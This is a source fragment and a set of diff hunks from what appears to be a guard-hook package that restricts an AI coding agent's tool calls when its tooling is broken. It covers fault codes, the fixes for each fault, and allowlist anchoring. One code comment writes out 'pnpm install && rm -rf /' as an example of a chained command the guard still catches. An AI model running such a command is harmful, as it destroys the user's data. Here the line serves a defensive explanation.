message L0 has for a repo with no webpieces.config.json at all.\n// Moved here from runner.ts so the fault table and the runner cannot state different cures.\n//\n// It used to name `./node_modules/.bin/wp-setup-ai-hooks` — a bin that HAS NOT EXISTED since it was\n// renamed to wp-install-ai-hooks. So the one command this deny prescribed was (a) not installable and\n// (b) not on the L0 allowlist in that spelling, i.e. the AI was handed a cure it could neither run nor\n// get past the guard. Now it names the installer that actually seeds the config AND is entry 8 of the\n// allowlist, and it says out loud that writing the config yourself is allowed through.\n//\n// ORDERING (2026-08-02): writing the file yourself now LEADS. The bare installer used to be OPTION 1,\n// but it seeds the config and then PROMPTS twice for a hook target, which hangs a non-interactive\n// agent. Writing the file is the one cure that always works, and it is the same cure every other config\n// problem has (see the config-validation invariant in GUARD_MATRIX.md): the validator reports every\n// error at once, so the write/validate loop converges in a couple of passes.\nexport const CONFIG_MISSING_REPORT =\n `${CONFIG_FILENAME} not found — the webpieces guards cannot run without it, so every other tool call is blocked.\\n` +\n 'THIS IS NOT A DEADLOCK: both options below are explicitly allowed through while this guard is up.\\n' +\n `OPTION 1 (preferred — it needs no other tool and it never prompts) - create ${CONFIG_FILENAME}\\n` +\n 'yourself: any Read, and any Write/Edit whose target is that file, is always allowed through, so\\n' +\n 'you can inspect the repo and write it. The validator reports EVERY missing/invalid entry at once\\n' +\n '(each with the snippet to paste), so a minimal first draft converges in about two passes.\\n' +\n 'OPTION 2 (pick this ONLY at an interactive terminal where you can answer its two prompts) - run\\n' +\n 'EXACTLY this command to seed the config: `pnpm exec wp-install-ai-hooks`. It goes on to wire the\\n' +\n 'Claude Code hooks and asks for a target twice, which hangs a non-interactive session.\\n' +\n 'Do not append anything to the option you pick — the allowlist is anchored to the whole command.';\n\n// The first line of the fault-Y deny (built out in runner.checkConfigSync, which appends the per-rule\n// detail). Kept here so the fault table quotes the same text the runner emits.\nexport const CONFIG_OUT_OF_SYNC_HEADER =\n `${CONFIG_FILENAME} is out of sync — new built-in rules are present that have no entry in ${CONFIG_FILENAME}.`;\n\n// Writing/repairing the file yourself. PREFERRED for both config faults, per the config-validation\n// invariant in GUARD_MATRIX.md: every config problem cures to \"make the file right\", the validator\n// reports all errors at once so the loop converges in a couple of passes, and allowlist entry 2 permits\n// this edit unconditionally. (That section is the authority — do not restate its reasoning here.)\nconst CONFIG_WRITE_CURE = new L0Cure(\n CONFIG_FILENAME, new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`), true,\n 'this fault fires at all — it is the only cure that needs no other tool, and it is never denied',\n);\n\n// Cure calls are spelled exactly as the deny messages spell them, so the mention assertion is a real\n// string search rather than a paraphrase.\n// webpieces-disable no-function-outside-class -- pure constructor helper for the L0_FAULTS literal below, in this data module\nfunction bashCure(command: string, preferred: boolean, discriminator: string): L0Cure {\n return new L0Cure(command, new L0Call('Bash', command, ''), preferred, discriminator);\n}\n\n/**\n * THE six L0 faults, in first-match-wins order. D/X/K are decided in POSIX sh BEFORE the bin runs (a\n * stale, missing or broken validator cannot be trusted to validate itself); S/C/Y are decided inside\n * the bin, in JS. One model, two enforcement points.\n */\nexport const L0_FAULTS: readonly L0Fault[] = [\n new L0Fault('D', 'version drift — root package.json pin != installed version',\n 'sh, before the bin runs', 'sh',\n [\n // `pnpm install` clears D in BOTH directions — it makes installed == pin by definition — so\n // it is always the preferred cure. The direction only decides whether the PIN is the version\n // you WANT, which is what the second cure is for.\n bashCure('pnpm install', true,\n 'node_modules is OLDER than the pin, OR you are on a feature branch and want YOUR '\n + 'branch pin (usually the case) — it always clears the drift'),\n bashCure('git pull', false,\n 'node_modules is NEWER than the pin AND you are on main — the PIN is the stale side, so '\n + 'pull first and install second; a bare install would downgrade you'),\n ], renderShim()),\n new L0Fault('X', 'guard bin missing (fresh clone / new worktree / package removed)',\n 'sh, before the bin runs', 'sh',\n [bashCure('pnpm install', true,\n 'this fault fires at all — nothing is installed in THIS tree, and a new git worktree '\n + 'copies no node_modules')],\n renderShim()),\n new L0Fault('K', 'guard bin present but CRASHED (exit code not 0 or 2 — corrupt node_modules)',\n 'sh, before the bin runs', 'sh',\n [bashCure(RECOVERY_CMD, true,\n 'this fault fires at all — a BARE pnpm install SKIPS the corrupt package, because pnpm sees '\n + 'the right version on disk and considers it installed; only the delete forces a rewrite')],\n renderShim()),\n new L0Fault('S', 'committed .claude/webpieces/ai-hook.sh != renderShim()',\n 'the guard bin', 'JS',\n [\n // wp-upgrade-shim is the SURGICAL tool and therefore leads: upgrade-shim.ts writes\n // renderShim() to .claude/webpieces/ai-hook.sh and touches nothing else — no config, no\n // settings.json — and it imports only fs/path, so it runs on a tree too broken to load the\n // rule engine. The INSTALLER is deliberately NOT a cure here: it also migrates the config\n // and wires BOTH hooks, prompting for a target twice, which hangs a non-interactive agent.\n bashCure(UPGRADE_SHIM_CMD, true,\n 'this fault fires at all — it regenerates the shim and NOTHING else (no config, no '\n + 'settings.json); needs installed @webpieces/ai-hook-rules 0.4.408 or newer'),\n // 2026-07-21: the version gap below caused a real \"command not found\" deadlock.\n bashCure(RESTORE_SHIM_CMD, false,\n 'the installed @webpieces/ai-hook-rules is OLDER than 0.4.408, so wp-upgrade-shim does '\n + 'not exist yet — this works on every release, though Claude Code may ask you to '\n + 'confirm the overwrite, and that prompt is NOT this guard'),\n ],\n shimStaleDenyReason('')),\n new L0Fault('C', `${CONFIG_FILENAME} missing`,\n 'the guard bin', 'JS',\n [\n CONFIG_WRITE_CURE,\n // Kept, but demoted: it seeds the file and then PROMPTS twice for a hook target.\n bashCure(INSTALL_HOOKS_CMD, false,\n 'you are at an INTERACTIVE terminal and can answer its two hook-target prompts'),\n ], CONFIG_MISSING_REPORT),\n new L0Fault('Y', `a loaded rule has no ${CONFIG_FILENAME} key`,\n 'the guard bin', 'JS',\n [CONFIG_WRITE_CURE], CONFIG_OUT_OF_SYNC_HEADER),\n];\n\n/**\n * One fault's FIX section, rendered from its `cures` array — literal commands only, never prose.\n *\n * This is the half that used to live in hand-written docs and drift. The three fields of L0Cure map\n * onto the three things a blocked reader needs and nothing else: WHAT to type (the call), WHETHER it is\n * the default (preferred), and WHEN to pick a sibling instead (discriminator). A cure with no\n * discriminator would render as a menu of equals, which is how an agent picks the wrong one.\n */\n// webpieces-disable no-function-outside-class -- pure string builder for renderGuardMatrixDoc below, beside the arrays it reads\nfunction renderFixSection(fault: L0Fault): string[] {\n const options = fault.cures.map((cure: L0Cure, i: number): string => {\n // A Bash cure is the command verbatim; a tool-shaped one is the file it edits (allowlist entry 2).\n const literal = cure.isCommand() ? `\\`${cure.call.command}\\`` : `edit \\`${cure.mention}\\` yourself`;\n const label = cure.preferred ? `Option ${i + 1} (preferred)` : `Option ${i + 1}`;\n return `- **${label}**: ${literal} ← pick this when ${cure.discriminator}`;\n });\n return [`### \\`${fault.code}\\` — ${fault.name}`, '', ...options, ''];\n}\n\n/**\n * Render webpieces.guard-matrix.md from L0_FAULTS + L0_ALLOWLIST.\n *\n * A unit test locks the committed template byte-identical to this output, the same way\n * templates/ai-hook.sh is locked to renderShim(). That is what makes the doc assertable instead of\n * aspirational: the table in the doc IS the array the guard consults.\n */\n// webpieces-disable no-function-outside-class -- pure string builder over the two exported arrays, beside them in this module\nexport function renderGuardMatrixDoc(): string {\n return [\n '# webpieces guard matrix — L0 (tooling integrity)',\n '',\n 'GENERATED from `L0_FAULTS` + `L0_ALLOWLIST` in `@webpieces/ai-hook-rules`. Do not hand-edit —',\n 'a unit test locks this file byte-identical to `renderGuardMatrixDoc()`, so the table below is',\n 'the array the guard actually consults, not a description of it.',\n '',\n 'L0 is the OUTERMOST guard layer. It blocks work while `node_modules`, the committed shim, or',\n '`webpieces.config.json` are in a state that makes every other guard untrustworthy. If you are',\n 'reading this, one of the six faults below fired and named this file.',\n '',\n '## The faults',\n '',\n '| code | fault | detected by | enforced in |',\n '|---|---|---|---|',\n ...L0_FAULTS.map((f: L0Fault): string => `| \\`${f.code}\\` | ${f.name} | ${f.detectedBy} | ${f.enforcedIn} |`),\n '',\n 'First match wins. `D`/`X`/`K` are decided in POSIX `sh` inside the committed shim, BEFORE the',\n 'guard bin runs — a stale, missing or broken validator cannot be trusted to validate itself.',\n '',\n '## The fix, per fault',\n '',\n 'Every command below is rendered from that fault\\'s `cures` array and is asserted, by unit test,',\n 'to be accepted by `isAllowed()` — so nothing here can be a command the guard then rejects. Type',\n 'the option you pick EXACTLY as written and run nothing else on that line.',\n '',\n ...L0_FAULTS.flatMap(renderFixSection),\n ...renderMatrixAndAllowlist(),\n ].join('\\n');\n}\n\n/**\n * The second half of the doc: the three-row matrix and the ONE allowlist. Split out of\n * renderGuardMatrixDoc solely to keep it inside the method-line budget — the join order is what makes\n * the two halves one file, so keep them adjacent and keep the byte-lock test as the arbiter.\n */\n// webpieces-disable no-function-outside-class -- second half of renderGuardMatrixDoc's string, beside it in this module\nfunction renderMatrixAndAllowlist(): string[] {\n return [\n '## The matrix',\n '',\n 'L0 has NO genuine second dimension. Every branch reduces to one question:',\n '',\n '| # | fault | on the allowlist? | outcome |',\n '|---|---|---|---|',\n '| 1 | none | — | hand down to the next guard layer |',\n '| 2 | any | yes | PASS or ALLOW (see the entry) |',\n '| 3 | any | no | BLOCK — **only the message varies by fault** |',\n '',\n 'The tool is not a dimension either: \"any Read\" is an allowlist ENTRY, not a tool check.',\n '',\n '## The allowlist',\n '',\n 'ONE list, consulted identically by all six faults. A cure that cannot help a given fault also',\n 'cannot hurt it, and gating each entry on a fault is what produced four real defects (a stale',\n 'shim that denied `pnpm install` and `git pull`; faults that denied every Read; a config fault',\n 'that denied `rm -rf node_modules && pnpm install` while allowing a bare `pnpm install`).',\n '',\n '| # | allowed | outcome |',\n '|---|---|---|',\n ...L0_ALLOWLIST.map((e: L0AllowEntry, i: number): string => `| ${i + 1} | ${e.label} | ${e.kind.toUpperCase()} |`),\n '',\n '- **PASS** — L0 has no objection; the call falls THROUGH so the downstream guards still judge it.',\n '- **ALLOW** — terminal; bypasses everything, because a cure must stay reachable even when a',\n ' downstream guard would block it.',\n '',\n 'Every Bash entry is anchored to the WHOLE command. A leading `cd <dir> &&`, a trailing `2>&1`',\n 'and a pipe into `tail`/`head` are tolerated; nothing else is. Appending `&& git status` makes it',\n 'a DIFFERENT command and it is rejected again — that is not the guard refusing its own cure.',\n '',\n '`git merge` is deliberately NOT on this list. Main is merged ONLY through the 3-point fork merge',\n '(`pnpm wp-start-update`, or `pnpm wp-start-upsert-pr` when a PR is already open).',\n '',\n '## Known asymmetry',\n '',\n 'Under `S`/`C`/`Y` the guard bin IS running, so a PASS really does fall through to the downstream',\n 'guards. Under `D`/`X`/`K` the bin is never executed, so there is nothing to fall through to and a',\n 'PASS degenerates into a terminal allow — reads are unguarded during those three faults.',\n '',\n '## Widening L0',\n '',\n 'Add an entry to `L0_ALLOWLIST` in `packages/tooling/ai-hook-rules/src/bin/shim.ts`. That array is',\n 'the single source for the JS allowlist, the `grep -E` inside the rendered shim, and this file.',\n '',\n ];\n}\n\n/**\n * Drop the matrix doc where the AI can read it, and return its absolute path ('' if it could not be\n * written). Called from the L0 BLOCK path so the deny can say `READ <path>`.\n *\n * Best-effort by design: this runs while the tree is already known-broken, and a missing template (an\n * @webpieces/rules-config older than this package) must degrade the deny message, never replace it\n * with a crash.\n */\n// webpieces-disable no-function-outside-class -- sibling of renderGuardMatrixDoc in this module\nexport function writeGuardMatrixDoc(workspaceRoot: string): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return writeTemplate(workspaceRoot, GUARD_MATRIX_DOC);\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: no doc → the deny simply omits the pointer\n return '';\n }\n}\n\n/** The `READ <path>` pointer appended to an L0 deny, or '' when the doc could not be written. */\n// webpieces-disable no-function-outside-class -- sibling of writeGuardMatrixDoc in this module\nexport function guardMatrixPointer(docPath: string): string {\n if (docPath === '') return '';\n return ` The full L0 guard matrix - all six faults and everything that is allowed through - is at ${docPath}; READ it if you are unsure why this call was blocked.`;\n}\n"]}
@@ -36,7 +36,7 @@ function filterByMode(rules, mode) {
36
36
  // Drop every rule excluded for this path (webpieces.config.json → excludePaths). ONE glob list: a path
37
37
  // listed there is hands-off for code-style rules and file-scoped guards alike, because webpieces either
38
38
  // governs a path or it does not. Per-rule carve-outs live in the rule's own `excludePaths`.
39
- // This is L1's FILTER (not a table row) — see GUARD_MATRIX.md at the repo root.
39
+ // This is L1's FILTER (not a table row) — see guards/L1-location.md.
40
40
  function filterByExcludedPaths(rules, relativePath, ex) {
41
41
  if (ex.paths.some((p) => (0, load_rules_1.globMatches)(p, relativePath)))
42
42
  return [];
@@ -66,8 +66,15 @@ function maybeRefreshMainSync(rules, workspaceRoot) {
66
66
  // Fault C (webpieces.config.json missing) — the deny text lives in ./l0-matrix beside the rest of the
67
67
  // L0 fault table, so the message and the allowlist can never prescribe different cures. `cwd` is used
68
68
  // only to drop the matrix doc where the AI can read it (the config root does not exist yet here).
69
+ //
70
+ // `command` is '' on the file-tool path (there is no command to judge) and the Bash command otherwise:
71
+ // a call on the L0 allowlist survives this block, which is how read-only orientation stays available
72
+ // under C. You have to be able to see which tree you are standing in before you can decide what to
73
+ // write into the config. Returns null when the call is allowed through.
69
74
  // webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape
70
- function configMissingBlock(cwd) {
75
+ function configMissingBlock(cwd, command = '') {
76
+ if (command !== '' && l0FaultAllows(command))
77
+ return null;
71
78
  const root = new rules_config_1.RepoRootFinder().resolveRepoRoot(cwd);
72
79
  return new types_1.BlockedResult(l0_matrix_1.CONFIG_MISSING_REPORT + (0, l0_matrix_1.guardMatrixPointer)((0, l0_matrix_1.writeGuardMatrixDoc)(root)));
73
80
  }
@@ -162,15 +169,29 @@ function runRead(filePath, cwd, mode = 'all') {
162
169
  // This used to test INSTALLER_ALLOW_JS alone, which made the config faults (C = config missing,
163
170
  // Y = config out of sync) accept a bare `pnpm install` while denying `rm -rf node_modules && pnpm
164
171
  // install` — the one cure that works when node_modules is CORRUPT rather than merely stale. Same
165
- // intent, opposite verdict, for no reason anyone recorded. L0_ALLOW_JS is the single list every L0
166
- // fault consults; see its block comment in ../bin/shim. Each alternative is still anchored at both
172
+ // intent, opposite verdict, for no reason anyone recorded. Each alternative is still anchored at both
167
173
  // ends, so `pnpm install && rm -rf /` still falls to the guards.
174
+ //
175
+ // It tests the CURE subset (L0_CURE_ALLOW_JS), not the whole list, and the distinction matters here
176
+ // and nowhere else: this call site runs BEFORE any fault has been established, so whatever it accepts
177
+ // is waved past the L1 guards on a perfectly healthy repo too. A repair command has to be waved past —
178
+ // it runs before the config can be loaded at all. Read-only ORIENTATION does not: it fixes nothing, and
179
+ // letting `git status` through here would delete force-to-root as a side effect of adding `pwd`. Under
180
+ // an actual fault, l0FaultAllows() below consults the WHOLE list.
168
181
  // webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape
169
182
  function isL0CureCommand(command) {
183
+ return shim_1.L0_CURE_ALLOW_JS.test(command.trim());
184
+ }
185
+ // The FULL L0 list, asked only where this file has actually detected an L0 fault (C = config missing,
186
+ // Y = config out of sync). Those two are the JS-side faults; D/X/K are decided in the shim, which greps
187
+ // the same union. Without this the orientation entry would be honoured under four faults and silently
188
+ // dropped under the other two — precisely the per-fault carve-out the L0 rewrite removed.
189
+ // webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape
190
+ function l0FaultAllows(command) {
170
191
  return shim_1.L0_ALLOW_JS.test(command.trim());
171
192
  }
172
193
  // Force-to-root: git/gh commands must run from the repo root of the tree they act on, where the guards
173
- // can reason about git state coherently. L1 row 4 — see GUARD_MATRIX.md at the repo root for the table
194
+ // can reason about git state coherently. L1 row 4 — see guards/L1-location.md for the table
174
195
  // and the use cases; change this predicate and that file is stale until you update it.
175
196
  //
176
197
  // ONE variable decides it: `tree.effectiveCwd` — the directory the command actually runs in, which is
@@ -254,7 +275,7 @@ function runBashInternal(command, cwd, mode) {
254
275
  if (loaded === null)
255
276
  return null;
256
277
  if (loaded.configPath === null)
257
- return configMissingBlock(cwd);
278
+ return configMissingBlock(cwd, command); // fault C
258
279
  const workspaceRoot = path.dirname(loaded.configPath);
259
280
  // WHICH TREE does this command act on? Not the shell's cwd: a `cd` OUT of the workspace is reset
260
281
  // by the harness and one INSIDE it persists, so neither can be assumed (see EffectiveTree).
@@ -276,9 +297,9 @@ function runBashInternal(command, cwd, mode) {
276
297
  const rules = filterByExcludedPaths(filterByMode((0, load_rules_1.loadRules)(loaded.rulesConfig, workspaceRoot), mode), path.relative(workspaceRoot, tree.effectiveCwd), loaded.excludePaths);
277
298
  if (rules.length === 0)
278
299
  return null;
279
- const outOfSync = checkConfigSync(rules, loaded.rulesConfig);
300
+ const outOfSync = checkConfigSync(rules, loaded.rulesConfig); // fault Y — L0 list wins, as under C
280
301
  if (outOfSync)
281
- return outOfSync;
302
+ return l0FaultAllows(command) ? null : outOfSync;
282
303
  const subdirBlock = gitFromSubdirBlock(command, tree);
283
304
  if (subdirBlock)
284
305
  return subdirBlock;
@@ -1 +1 @@
1
- {"version":3,"file":"runner.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/runner.ts"],"names":[],"mappings":"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